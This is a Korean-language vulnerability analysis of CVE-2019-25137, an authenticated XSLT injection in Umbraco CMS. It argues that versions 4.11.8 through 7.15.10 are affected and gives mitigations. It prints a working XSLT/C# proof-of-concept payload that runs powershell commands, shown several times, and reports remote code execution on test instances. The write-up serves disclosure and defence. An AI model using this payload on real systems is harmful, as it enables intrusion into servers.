
CVE-2019-25137의 전체 범위를 조사한 분석 글
CVE-2019-25137은 Umbraco CMS의 XSLT 인젝션 취약점입니다. 이 취약점은 XSLT(Extensive Stylesheet Language Transformations) Visualizer 웹페이지에 존재합니다. 이 웹페이지의 취약한 URI는 /umbraco/developer/Xslt/xsltVisualize.aspx입니다.
XSLT Visualizer를 성공적으로 악용하면 대상 시스템에서 C# 코드가 실행될 수 있습니다. 취약점을 악용하려면 사용자는 Umbraco CMS에 대한 합법적인 관리자 자격 증명이 필요합니다.
CVE-2019-25137의 개념 증명은 msxsl:script 요소를 사용합니다. 이 요소는 XSLT 변환에 C#과 같은 추가 프로그래밍 언어를 사용할 수 있게 해줍니다.
<?xml version="1.0"?>
<xsl:stylesheet version="1.0"
xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
xmlns:msxsl="urn:schemas-microsoft-com:xslt"
xmlns:csharp_user="http://csharp.mycompany.com/mynamespace">
<msxsl:script language="C#" implements-prefix="csharp_user">public string xml() { string cmd = "<additional arguments>"; System.Diagnostics.Process proc = new System.Diagnostics.Process(); proc.StartInfo.FileName = "<Can be powershell or cmd>"; proc.StartInfo.Arguments = cmd; proc.StartInfo.UseShellExecute = false; proc.StartInfo.RedirectStandardOutput = true; proc.Start(); string output = proc.StandardOutput.ReadToEnd(); return output; } </msxsl:script>
<xsl:template match="/">
<xsl:value-of select="csharp_user:xml()"/>
</xsl:template>
</xsl:stylesheet>
XSLT 페이로드는 다음 C# 코드를 실행하려고 시도합니다.
string cmd = "<additional arguments>";
System.Diagnostics.Process proc = new System.Diagnostics.Process();
proc.StartInfo.FileName = "<Can be powershell or cmd>";
proc.StartInfo.Arguments = cmd;
proc.StartInfo.UseShellExecute = false;
proc.StartInfo.RedirectStandardOutput = true;
proc.Start();
string output = proc.StandardOutput.ReadToEnd();
return output;
C# 코드는 다음 명령문으로 나뉩니다. 모든 정의는 Microsoft 웹사이트에 문서화되어 있습니다.
| 함수 | 개요 |
|---|---|
| System.Diagnostics.Process proc | 로컬 및 원격 프로세스에 대한 액세스를 제공하고 사용자가 로컬 시스템 프로세스를 시작 및 중지할 수 있게 해주며, 여기서는 "proc"이라고 합니다. |
| proc.StartInfo.FileName | 사용자가 시작하려는 애플리케이션의 이름을 정의합니다 (powershell 또는 cmd). |
| proc.StartInfo.Arguments | FileName에 필요할 수 있는 추가 변수를 정의합니다. |
| proc.StartInfo.UseShellExecute | 운영 체제 셸을 사용하여 프로세스를 시작할지 여부를 나타내는 값으로, powershell 또는 cmd가 사용되므로 false로 설정됩니다. |
| proc.StartInfo.RedirectStandardOutput | 애플리케이션의 출력이 StandardOutput 스트림에 기록되는지 여부를 나타내는 값으로, true로 설정됩니다. |
| proc.Start() | "proc" 프로세스 리소스를 시작하고 이를 Process 구성 요소와 연결합니다. |
| string output = proc.StandardOutput.ReadToEnd() | "proc"에 대해 동기 읽기 작업을 수행하고 이를 "output" 변수로 리디렉션합니다. |
Umbraco는 오픈 소스 CMS이므로, xsltVisualize.aspx가 여전히 존재할 수 있는 이전 및 최신 버전을 확인하기 위해 웹사이트에서 다양한 설치 버전을 확보했습니다.

분석 결과 xsltVisualize.aspx 파일은 Umbraco CMS 버전 4.11.8부터 7.15.10까지 존재합니다. 이 파일과 전체 Development 폴더는 버전 8.0.0 이상에서는 더 이상 존재하지 않습니다.

가장 이른 버전도 CVE-2019-25137에 취약함을 입증하기 위해 Umbraco 4.11.8 테스트 인스턴스를 설정했습니다.

Umbraco CMS 4.11.8의 xsltVisualize.aspx를 Umbraco CMS 버전 7.12.4의 것과 비교하면 약간의 차이가 있지만 웹페이지 기능은 동일함을 알 수 있습니다.

익스플로잇을 테스트하려면 사용자가 xsltSelection 필드에 페이로드를 제출해야 합니다.

앞서 제공된 페이로드를 사용하여 원격 코드 실행에 성공했으며, 이는 이 버전도 취약함을 나타냅니다. 아래 이미지는 whoami가 실행되는 모습을 보여줍니다.
<?xml version="1.0"?>
<xsl:stylesheet version="1.0"
xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
xmlns:msxsl="urn:schemas-microsoft-com:xslt"
xmlns:csharp_user="http://csharp.mycompany.com/mynamespace">
<msxsl:script language="C#" implements-prefix="csharp_user">public string xml() { string cmd = "whoami"; System.Diagnostics.Process proc = new System.Diagnostics.Process(); proc.StartInfo.FileName = "powershell"; proc.StartInfo.Arguments = cmd; proc.StartInfo.UseShellExecute = false; proc.StartInfo.RedirectStandardOutput = true; proc.Start(); string output = proc.StandardOutput.ReadToEnd(); return output; } </msxsl:script>
<xsl:template match="/">
<xsl:value-of select="csharp_user:xml()"/>
</xsl:template>
</xsl:stylesheet>

xsltVisualize.aspx가 포함된 가장 최신 버전의 Umbraco도 취약함을 입증하기 위해 Umbraco 7.15.10 테스트 인스턴스를 설정했습니다.

Umbraco CMS 7.15.10의 xsltVisualize.aspx를 Umbraco CMS 버전 7.12.4의 것과 비교하면 동일함을 알 수 있습니다.

/umbraco/developer/Xslt/xsltVisualize.aspx URI로 이동하면 파일이 실제로 존재함을 확인할 수 있습니다.

앞서 제공된 동일한 페이로드를 사용하여 다시 원격 코드 실행에 성공했으며, 이는 이 버전도 취약함을 나타냅니다. 아래 이미지는 whoami가 실행되는 모습을 보여줍니다.
<?xml version="1.0"?>
<xsl:stylesheet version="1.0"
xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
xmlns:msxsl="urn:schemas-microsoft-com:xslt"
xmlns:csharp_user="http://csharp.mycompany.com/mynamespace">
<msxsl:script language="C#" implements-prefix="csharp_user">public string xml() { string cmd = "whoami"; System.Diagnostics.Process proc = new System.Diagnostics.Process(); proc.StartInfo.FileName = "powershell"; proc.StartInfo.Arguments = cmd; proc.StartInfo.UseShellExecute = false; proc.StartInfo.RedirectStandardOutput = true; proc.Start(); string output = proc.StandardOutput.ReadToEnd(); return output; } </msxsl:script>
<xsl:template match="/">
<xsl:value-of select="csharp_user:xml()"/>
</xsl:template>
</xsl:stylesheet>

이 예제들은 CVE-2019-25137이 7.12.4 이외의 Umbraco 버전에도 존재함을 보여줍니다. 4.11.8과 7.15.10 사이의 모든 버전에는 취약한 웹페이지가 포함되어 있으므로 CVE 업데이트에 포함되어야 합니다. CVE-2019-25137은 xsltVisualize.aspx 파일에 대한 액세스를 제거하거나 최신 버전의 Umbraco로 업데이트하여 완화할 수 있습니다.
Umbraco 릴리스 날짜 - https://our.umbraco.com/download/releases/774
Umbraco 버전 - https://our.umbraco.com/download/releases
XSLT 정의 - https://en.wikipedia.org/wiki/XSLT
사용된 페이로드 - https://github.com/noraj/Umbraco-RCE